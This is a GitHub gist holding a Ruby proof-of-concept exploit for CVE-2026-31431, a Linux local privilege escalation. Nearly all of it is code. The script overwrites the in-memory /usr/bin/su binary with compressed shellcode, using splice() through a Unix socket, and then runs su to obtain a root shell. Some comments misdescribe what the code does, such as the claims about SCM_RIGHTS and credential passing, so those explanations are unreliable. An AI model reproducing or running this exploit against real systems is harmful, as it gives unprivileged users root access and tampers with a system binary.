Skip to content

Instantly share code, notes, and snippets.

@rafapolo
Created April 30, 2026 20:14
Show Gist options
  • Select an option

  • Save rafapolo/874a5daf24cddf25b32431e2ad1782d1 to your computer and use it in GitHub Desktop.

Select an option

Save rafapolo/874a5daf24cddf25b32431e2ad1782d1 to your computer and use it in GitHub Desktop.
CVE-2026-31431 PoC Exploit in Ruby
#!/usr/bin/env ruby
# CVE-2026-31431 PoC
# Requires: gem install ffi
require 'socket'
require 'zlib'
require 'ffi'
# FFI module to call Linux splice() system call from libc
# splice() allows moving data between pipe and file descriptor without copying to userspace
module Splice
extend FFI::Library
ffi_lib FFI::Library::LIBC
# int splice(int fd_in, loff_t *off_in, int fd_out, loff_t *off_out, size_t len, unsigned int flags)
attach_function :splice, [:int, :pointer, :int, :pointer, :size_t, :uint], :ssize_t
end
# Convert hexadecimal string to binary bytes
# e.g., "ff" -> "\xff"
def d(x)
[x].pack('H*')
end
# Core exploitation function
# Creates a UNIX socketpair, sets up SCM_RIGHT control messages,
# and uses splice() to perform a race condition / arbitrary file write
# @param fileno File descriptor number of /usr/bin/su
# @param offset Offset into the file to write the chunk
# @param chunk 4-byte chunk of shellcode to write
def c(fileno, offset, chunk)
# Create UNIX domain stream socket
a = Socket.new(Socket::AF_UNIX, Socket::SOCK_STREAM)
# Bind to abstract socket name "aead" (arbitrary name for the socket)
a.bind(Socket.pack_sockaddr_un("aead"))
a.listen(1)
# SOL_UNIX = 279 (Linux-specific socket option level)
sol = Socket::SOL_UNIX
# Set socket options for credential passing
# SO_PASSCRED (1): Enable credential passing via SCM_CREDS
a.setsockopt(sol, 1, d('0800010000000010' + '0' * 64))
# SO_PASSPIDFD (5): Enable passing PID file descriptor
a.setsockopt(sol, 5, nil, 4)
# Accept incoming connection (from our sendmsg below)
u, _ = a.accept
# Calculate target offset (offset + 4 for header)
o = offset + 4
# Null bytes for padding
i = d('00')
# Send SCM_RIGHT control message with chunk
# This leverages Linux SCM_RIGHTS to pass file descriptors
# The "A" * 4 is padding before the chunk
u.sendmsg(["A" * 4 + chunk], 0, 32768)
# Create pipe for splice() operations
r, w = IO.pipe
# First splice: read from su file into pipe
# Splice from fileno (su binary) to pipe write end
Splice.splice(fileno, nil, w.fileno, nil, o, 0)
# Second splice: write from pipe to socket
# This triggers the write to the target offset
Splice.splice(r.fileno, nil, u.fileno, nil, o, 0)
# Wait briefly for operation to complete
begin
u.recv(8 + offset)
rescue
# Ignore errors (socket may close after send)
end
end
# Open the target binary (/usr/bin/su) in read-only mode
# This gives us a file descriptor to pass via splice()
f = File.open("/usr/bin/su", File::RDONLY)
# Decompress the compressed shellcode from hex string
# This is zlib-compressed data containing the actual shellcode payload
i = 0
e = Zlib::Inflate.inflate(d("78daab77f57163626464800126063b0610af82c101cc7760c0040e0c160c301d209a154d16999e07e5c1680601086578c0f0ff864c7e568f5e5b7e10f75b9675c44c7e56c3ff593611fcacfa499979fac5190c0c0c0032c310d3"))
# Write each 4-byte chunk of shellcode to successive offsets
while i < e.length
c(f.fileno, i, e[i, 4])
i += 4
end
# Execute the now-patched su binary
# This launches the shell with elevated privileges
system("su")
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment